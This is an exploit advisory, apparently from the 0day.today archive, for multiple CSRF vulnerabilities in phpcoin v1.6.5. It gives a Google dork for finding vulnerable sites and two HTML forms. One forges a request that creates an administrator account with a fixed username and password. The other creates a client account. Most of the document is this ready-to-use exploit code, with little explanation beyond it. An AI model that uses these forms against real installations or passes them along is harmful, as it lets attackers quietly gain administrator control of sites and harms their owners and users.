phpcoin v1.6.5 Multiple CSRF Vulnerability

phpcoin v1.6.5 Multiple CSRF Vulnerability
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [[email protected]]
.:. Script         : https://www.phpcoin.com/downloads/phpcoin_v165_full_2009-09-26.zip
.:. Tested On Demo : http://cpdemo.phpcoin.com/
.:. Dork           : "Powered By phpCOIN"
.:. Gr34T$ T0 [aboud-el]
####################################################################

===[ Exploit ]===

Add Admin
==========


<form method="POST" name="form0" action="http://SITE/admin.php">
<input type="hidden" name="cp" value="admins"/>
<input type="hidden" name="op" value="add"/>
<input type="hidden" name="stage" value="1"/>
<input type="hidden" name="admin_id" value=""/>
<input type="hidden" name="admin_name_first" value="Mohamad"/>
<input type="hidden" name="admin_name_last" value="Hussien"/>
<input type="hidden" name="admin_user_name" value="Admin"/>
<input type="hidden" name="admin_email" value="[email protected]"/>
<input type="hidden" name="admin_user_pword" value="123456789"/>
<input type="hidden" name="admin_user_pword_re" value="123456789"/>
<input type="hidden" name="AP16" value="1"/>
<input type="hidden" name="b_edit" value="Add"/>
</form>

</body>
</html>



Add Client
===========

<form method="POST" name="form0" action="http://SITE/mod.php">
<input type="hidden" name="mod" value="clients"/>
<input type="hidden" name="mode" value="add"/>
<input type="hidden" name="cl_join_ts_year" value="....."/>
<input type="hidden" name="cl_join_ts_month" value="....."/>
<input type="hidden" name="cl_join_ts_day" value="....."/>
<input type="hidden" name="cl_join_ts_hour" value="....."/>
<input type="hidden" name="cl_join_ts_minute" value="....."/>
<input type="hidden" name="cl_join_ts_second" value="....."/>
<input type="hidden" name="cl_status" value="active"/>
<input type="hidden" name="cl_company" value="....."/>
<input type="hidden" name="cl_name_first" value="....."/>
<input type="hidden" name="cl_name_last" value="....."/>
<input type="hidden" name="cl_addr_01" value="....."/>
<input type="hidden" name="cl_addr_02" value="....."/>
<input type="hidden" name="cl_city" value="....."/>
<input type="hidden" name="cl_state_prov" value="....."/>
<input type="hidden" name="cl_country" value="....."/>
<input type="hidden" name="cl_zip_code" value="....."/>
<input type="hidden" name="cl_phone" value="....."/>
<input type="hidden" name="cl_email" value="....."/>
<input type="hidden" name="cl_user_name" value="....."/>
<input type="hidden" name="cl_user_pword" value="....."/>
<input type="hidden" name="cl_user_pword_re" value="....."/>
<input type="hidden" name="UG01" value="1"/>
<input type="hidden" name="cl_notes" value="....."/>
<input type="hidden" name="stage" value="1"/>
<input type="hidden" name="cl_id" value=""/>
<input type="hidden" name="b_edit" value="Add"/>
</form>

</body>
</html>


####################################################################



#  0day.today [2018-01-03]  #